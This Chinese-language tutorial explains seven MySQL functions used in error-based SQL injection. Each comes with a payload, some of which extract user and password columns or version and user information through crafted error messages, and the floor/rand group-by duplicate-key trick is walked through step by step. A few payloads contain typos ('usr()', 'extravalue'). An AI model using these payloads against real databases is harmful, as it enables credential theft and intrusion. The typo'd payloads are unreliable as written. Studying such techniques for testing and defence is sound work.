当前位置: 首页 > news >正文

完整教程:sql报错注入常见7个函数

文章目录

    • 1.ST_LatFromGeoHash()(mysql>=5.7.x)
    • 2.ST_LongFromGeoHash()(mysql>=5.7.x)
    • 3.GTID(mysql>=5.6.x-显错<=200)
    • 4.ST_PointFromGeoHash()(mysql>=5.7)
    • 5.updatexml()
      • 5.1、官方语法
      • 5.2、报错注入
    • 6.extravalue
    • 7.floor(8.x>mysql>5.0)
      • 7.1、rand()
      • 7.2、floor()
      • 7.3、group_by()
      • 7.4、count()
      • 7.5、报错分析

1.ST_LatFromGeoHash()(mysql>=5.7.x)

  • ST_LatFromGeoHash 是 MySQL 的空间函数,用来从 GeoHash 字符串中解析出纬度,正常用法是对合法的 geohash 字符串做解码,返回一个double 值,传进去的不是一个合法的 geohash 字符串,MySQL 会抛出错误

  • concat(A, B, C) 的作用就是把 A、B、C 拼成一个字符串。0x7e 是 ~ 的十六进制写法:字符 ~的 ASCII 是 126,十六进制就是 0x7E。

  • 用 concat 把 (select usr()) 的结果变成 ~ 用户名 ~;再把这个非 GeoHash 字符串喂给 ST_LatFromGeoHash;让数据库解析出错,在错误信息里把 ~ 用户名 ~打出来,从而窃取当前数据库用户名。

and ST_LatFromGeoHash(concat(0x7e,(select usr()),0x7e))

2.ST_LongFromGeoHash()(mysql>=5.7.x)

  • 与1类似
and ST_LongFromGeoHash(concat(0x7e,(select usr()),0x7e))

3.GTID(mysql>=5.6.x-显错<=200)

  • 此处不详细介绍
gtid_subset
') or gtid_subset (concat(0x7e,(select group_concat(user,':',password) from manage),0x7e ),1)--+
gtid_subtract
') or gtid_subtract (concat(0x7e,(select group_concat(user,':',password) from manage),0x7e ),1)--+

4.ST_PointFromGeoHash()(mysql>=5.7)

  • ST_PointFromGeoHash(geo_hash, srid):MySQL 的空间函数,用来将一个 GeoHash 字符串转换为对应的经纬度点(POINT 对象)。第一个参数 geo_hash 应该是一个合法的 GeoHash 字符串(如 s00tw)。第二个参数 srid 是空间参考系统 ID(通常填 0 或 4326 等)。

  • 当 MySQL 尝试解析这个非法的 GeoHash 时,就会抛出错误。MySQL 的报错信息里会包含它解析失败的那个非法字符串。

') or ST_PointFromGeoHash(version(),1)--+

5.updatexml()

5.1、官方语法

UPDATEXML(xml_target, xpath_expr, new_xml)
  • xml_target:一个 XML 文档(String 类型),可以是一个 XML 片段或字段;
  • xpath_expr:XPath 表达式,用来指定要更新哪个节点;
  • new_xml:要替换成的新 XML 字符串。
#正常业务的使用
SET @xml = '<a><b>old</b></a>';
SELECT UPDATEXML(@xml, '/a/b', '<b>new</b>');
<a><b>new</b></a>

5.2、报错注入

  • xpath_expr参数写的是合法的 XPath,就正常执行;如果是非法的XPath 语法,MySQL 就会抛错;报错消息里会把“导致错误的那段字符串”直接打印出来

  • 用 ~(0x7e)这种在 XPath 中非法的字符,保证一定会触发语法错误

  • updatexml 报错返回有长度限制(约 32 字节有效内容)

updatexml(1, concat(0x7e, 注入语句, 0x7e), 1)

6.extravalue

extractvalue(1, concat(0x7e, 注入语句, 0x7e))

7.floor(8.x>mysql>5.0)

') or (select 1 from (select count(*),concat(version(),floor(rand(0)*2) ) as x from information_schema.tables group by x) a)--+

as 可要可不要 取别名

7.1、rand()

  • rand()可以产生一个0-1之间的随机数

  • 当提供随机数的种子,伪随机数、RAND(N)带参数 N:把 N 当成随机数种子(seed),初始化伪随机数生成器;只要 N 相同,就会得到完全一样的随机序列,适合可复现的随机行为

  • select rand(0) from users,从 users 表中为每一行数据生成一个随机数。虽然叫随机数,但指定了种子(这里是 0),生成的数值序列就是固定的

7.2、floor()

7.3、group_by()

  • GROUP BY 用来将相同的数据归纳到一组
  • select floor ( rand ( 0 ) * 2 ) as x from users group by x 为0和1

7.4、count()

7.5、报错分析

  • select count(*),floor ( rand ( 0 ) * 2 ) as x from users group by x;
  • 在 GROUP BY 建立临时表的过程中,MySQL 会多次计算 RAND() 的值。
  • 查询数据时,首先在虚拟表查看是否存在,存在计数值+1,不存在创建该分组
  • 当 MySQL 执行 GROUP BY x 时,它会创建一个临时的虚拟表。这个表有一个主键,就是 x(也就是我们计算出的 0 或 1),强行要求分组键必须唯一
key/xcount(*)
  1. floor(rand(0)*2) 会生成固定的序列011011,查询第一条数据0,(第一次计算)
xfloor(rand(0)*2)count(*)
0
  1. 检查虚拟表,表是空的需要执行插入操作,调用floor(rand(0)*2)(第2次计算)得到1插入
xfloor(rand(0)*2)count(*)
0
111
  1. 查询第二条数据floor(rand(0)*2)(第三次计算)1,查询虚拟表1已经存在,计数器增加
xfloor(rand(0)*2)count(*)
0
111
112

4.查询第三条数据floor(rand(0)*2)(第四次计算)0,查询虚拟表0不存在,执行插入再次调用floor(rand(0)*2)(第五次计算)1,1已经存在

xfloor(rand(0)*2)count(*)
0
111
112
0
1?1
  1. 试图写入主键 1,数据库发现虚拟表里主键 1 ,就会抛出错误:ERROR 1062 (23000): Duplicate entry ‘1’ for key ‘group_key’
  • 数据源必须有足够多的行数(>= 3 行)
http://www.jsqmd.com/news/393418/

相关文章:

  • 漫画脸生成器开发指南:使用Python爬虫自动采集训练数据
  • 基于RMBG-2.0的智能包装设计系统
  • AI辅助小说转短剧:全流程实操与技术落地指南
  • 丹青幻境惊艳效果展示:水墨风格数据可视化图表生成能力
  • Qwen2-VL-2B-Instruct部署实操:8GB显存下bfloat16加速与temp_images路径自动管理
  • AI赋能内容创作:小说改编短剧全流程实操指南
  • 春联生成模型-中文-base惊艳案例:‘龙’‘腾’‘祥’‘瑞’四字生成效果展示
  • 3D Face HRN惊艳效果:生成带Displacement Map的高细节3D人脸模型(.obj)
  • 使用yz-女生-角色扮演-造相Z-Turbo进行Python入门教学:可视化学习工具
  • MedGemma 1.5企业应用案例:三甲医院科研团队私有化医学问答系统部署
  • AI头像生成器+Qwen3-32B:头像设计从未如此简单
  • 零基础玩转Qwen-Image-2512:浏览器输入文字秒出高清图
  • GitHub代码仓库的REX-UniNLU智能分析工具
  • Transformer架构进化:从BERT到GPT-4,大语言模型如何重塑AI技术栈
  • 从安装到使用:Qwen3-ASR语音识别完整教程
  • Qwen3-Reranker-0.6B使用心得:轻量高效的语义排序体验
  • WeKnora医疗影像系统:基于OpenCV的智能分析与检索
  • SiameseUIE部署要点:nlp_structbert_siamese-uie_chinese-base目录命名规范
  • GLM-4.7-Flash开发者案例:低代码平台嵌入式大模型推理服务
  • 使用cv_unet_image-colorization实现自动化设计素材处理流水线
  • EcomGPT黑科技:自动生成吸引人的商品标题
  • AutoGen Studio真实效能:Qwen3-4B多Agent将某客户产品需求分析周期从3天缩短至22分钟
  • Qwen3-VL-4B Pro图文问答教程:从基础描述到因果推理的进阶提问法
  • Git-RSCLIP在智慧城市中的应用:交通流量分析
  • ChatGLM3-6B-128K在企业文档处理中的实际应用案例
  • 惊艳!QWEN-AUDIO生成真人级语音效果展示
  • Qwen3-ForcedAligner-0.6B开箱即用:语音对齐一键搞定
  • Phi-4-mini-reasoning实测:轻量级模型的强大推理能力
  • AI绘画新体验:美胸-年美-造相Z-Turbo快速入门教程
  • Web爬虫实战:自动化收集BEYOND REALITY Z-Image训练数据